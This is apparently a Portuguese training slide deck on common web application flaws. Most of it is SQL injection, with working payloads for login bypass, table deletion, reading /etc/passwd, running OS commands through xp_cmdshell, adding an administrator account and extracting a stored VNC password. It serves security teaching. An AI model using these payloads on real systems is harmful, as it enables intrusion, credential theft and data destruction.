740 likes | 847 Views
Falhas mais comuns em aplicações WEB. Agenda. Introdução Explicando cada ataque através de exemplos URL Manipulation SQL Injection XSS Cross Site Scripting Como resolve-los O que HTTPS nos oferece Porque HTTPS não resolve nossos problemas? Próximos passos do projeto …. Introdução.
E N D
Agenda • Introdução • Explicando cada ataque através de exemplos • URL Manipulation • SQL Injection • XSS Cross Site Scripting • Como resolve-los • O que HTTPS nos oferece • Porque HTTPS não resolve nossos problemas? • Próximos passos do projeto ….
Introdução • Os ataques a serviços de rede estão se tornando muito sofisticados • A criatividade humana não para • Mas o que faltava? • APLICAÇÕES!!! Mas será que é possível? • Atualmente a maioria dos BUG’s reportados estão em aplicações • Application Security != Network Security • Não se esqueçam: Quem provê acesso aos dados? As aplicações !!!
Introdução – Lendas Urbanas • Não ha problemas • Até que a aplicação seja comprometida • Erros de runtime não são problemas (tratamento de erros) • Exponham informações relevantes • Consumam todo recurso do servidor • Web Services não são vulneráveis • Quase nunca testados e raramente segurança é considerada • Solução • Testes de penetração. São caros !!!
Introdução - Números • Gartner • 75% dos ataques acontecem no nível das aplicações • Em caso de falha no sistema provavelmente os desenvolvedores são três vezes mais culpados do que os administradores de sistemas • NIST • 92% das vulnerabilidadces estão no nível das aplicações
Introdução • Nosso foco será demonstrar estes BUG’s de forma prática • Para nos proteger temos que entender das táticas e armas no nosso inimigo • Temos que ter nossas armas para nos defender !!!
Contexto • Não há segurança de sistemas sem a conjuncão de tres fatores • Boas praticas de codificação • Metodologia adequada (arquitetura e etc) • Testes ..... E ai vem .....
O que é segurança • Segurança em um “end line” • Mas o que é isso? • Não se discute segurança sem entender de • Arquitetura de Computadores, Sistemas Operacionais, Redes de computadores (protocolos de comunicação, Linguagem de programação, engenharia de software e Logica.
O que é segurança • Entao o que eu preciso saber para se poder testar .... • Opção 1: seguir os procedimentos definidos alguem que sabe disso tudo • Opção 2: Saber disso tudo
Segurança de Redes • Recursos • Sites • www.securityfocus.com • www.cert.com • www.rootkit.com
Segurança de Redes • Periódicos • Linux Journal • Sys Admin Magazine • Information Security • SC Info Security Magazine • Security Magazine (Nacional)
Agora faça seu checklist • O que fazer? • O que testar? • Como fazer? • São as resposta que queremos. Vamos começar por ..... AQUI
URL Manipulation • O comando GET requisita informações importantes na URL • Os parâmetros podem ser manipulados para se obter resultados satisfatórios • O impacto é ALTO • Variações podem ser feitas para se tentar obter resultados interessantes http://www.paladiontest.com/example?accountnumber=12345&debitamount=1
SQL Injection • A idéia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB • Todos os parâmetros passados são direcionados para o banco de dados • O atacante pode manipular com as tabelas e dados diretamente
Causas - SQL Injection public void OnLogon(object src, EventArgs e){ SqlConnectioncon = new SqlConnection( "server=(local);database=myDB;uid=sa;pwd;" ); string query = String.Format( "SELECT COUNT(*) FROM Users WHERE " + "username='{0}' AND password='{1}'", txtUser.Text, txtPassword.Text ); SqlCommand cmd = new SqlCommand(query, con); conn.Open(); SqlDataReader reader = cmd.ExecuteReader(); try{ if(reader.HasRows()) IssueAuthenticationTicket(); else TryAgain(); } finally{ con.Close() } }
SQL Injection – Problemas Esperado: username: abc password: teste123 Quando submetido a query será montada como: select * from users where username='abc' and password = 'test123' Não esperado: username: abc'; -- password: A query enviada para o banco de dados será: select * from users where uname='abc’; --' and password=''
SQL Injection – Problemas Esperado: Username: doug Password: p@$$w0rd SELECT COUNT(*) FROM Users WHERE username='doug' and password='p@$$w0rd' Não esperado: Username: ' OR 1=1 -- Password: SELECT COUNT(*) FROM Users WHERE username='' OR 1=1 --and password=''
Site vulnerável Usuário Malicioso SQL Injection Login com Sucesso http://target.site/login.jsp Esperado Não esperado
SQL Injection – Mais exemplos Identificando campos de uma tabela SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --'; Verificando se a tabela existeSELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
SQL Injection – Mais exemplos Procurando por usuários SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Maria%'; Ataques de força brutaSELECT email, passwd, login_id, full_name FROM members WHERE email = ‘ususario@provedor.com' AND passwd = ‘senha123';
SQL Injection – Mais exemplos Verificando as permissões no Database SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --'; Criando um usuárioSELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERT INTO members ('email','passwd','login_id', 'full_name') VALUES (‘usuario@provedor.com',‘senha', ‘user',‘User da Internet');--';
SQL Injection – Mais exemplos Alterando o mail de comunicação SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE membersSET email = ‘usuario@provedor.com' WHERE email = ‘usuario@hackprovedor.com';
Caracteres utilizados ' ou " Utilizado para indicar tipo char -- ou # Comentário /*…*/ Comentário de várias linhas + Adição, concatenação || Concatenação % Wildcard ?Param1=foo&Param2=bar Parâmetros da URL PRINT Muito utilizado quando não temos transações @variable Variável Local @@variable Variável Global waitfor delay '0:0:10' Delay
SQL Injection • http://172.27.70.25/tikiwiki-1.8/tiki-directory_search.php?how=or&words=&where=all&sort_mode=delete%20*%20from%20users_uses
Determinando a versão do SGBD • Na maioria do tempo as mensagens de erro nos ajudam a identificar qual o SGBD utilizado • As mensagens de erro ODBC mostram SGBD utilizado • Se não tivermos as mensagens ODBC • Tentamos analisar qual a tecnologia utilizada na aplicação e no servidor WEB • Tentamos utilizar caracteres, comandos ou stored procedures que geram erros específicos
Interagindo com o sistema Operacional • Existem duas maneiras de se interagir com o sistema operacional • Lendo arquivos • Obtendo arquivos de senhas • Trocando senhas dos usuários • Executando comandos que troquem parâmetros do sistema • Execução direta de comandos • Não ha limites !!! • Qualquer ação depende do privilégio que o usuários utilizado pelo SGBD possui
MySQL e a interação O.S. • MySQL • LOAD_FILE • ' union select 1,load_file('/etc/passwd'),1,1,1; • LOAD DATA INFILE • create table temp( line blob ); • load data infile '/etc/passwd' into table temp; • select * from temp; • SELECT INTO OUTFILE
MS SQL e a interação O.S. • MS SQL Server • '; exec master..xp_cmdshell 'ipconfig > test.txt' -- • '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- • '; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- • ' and 1 in (select substring(x,1,256) from temp) -- • '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --
Web Server Application Server Database Server Paginas WEB Validação Da Entrada Execução Do SQL Arquitetura mais comum • Sempre tenha em mente • O SQL normalmente é executado em um outro servidor • O servidor de BD normalmente não tem acesso a Internet e é protegido
Comando de rede relevantes • Usando a SP xp_cmdshell podemos executar: • Ipconfig /all • Tracert myIP • arp -a • nbtstat -c • netstat -ano • route print
Manipulando com as informações da rede • '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var -- • '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- • '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- • ' and 1 in (select substring(x,1,255) from temp) -- • '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --
Manipulando com o S.O. • Linux MySQL • ' union select 1, (load_file('/etc/passwd')),1,1,1; • MS SQL Criando usuários • '; exec xp_cmdshell 'net user /add victor Pass123'-- • '; exec xp_cmdshell 'net localgroup /add administrators victor' -- • Iniciando serviços • '; exec master..xp_servicecontrol 'start','FTP Publishing' --
Obtendo a senha do VNC • '; declare@out binary(8)exec master..xp_regread@rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @outoutputselect cast(@out as bigint) as x into TEMP-- • ' and 1 in (select cast(x as varchar) from temp) --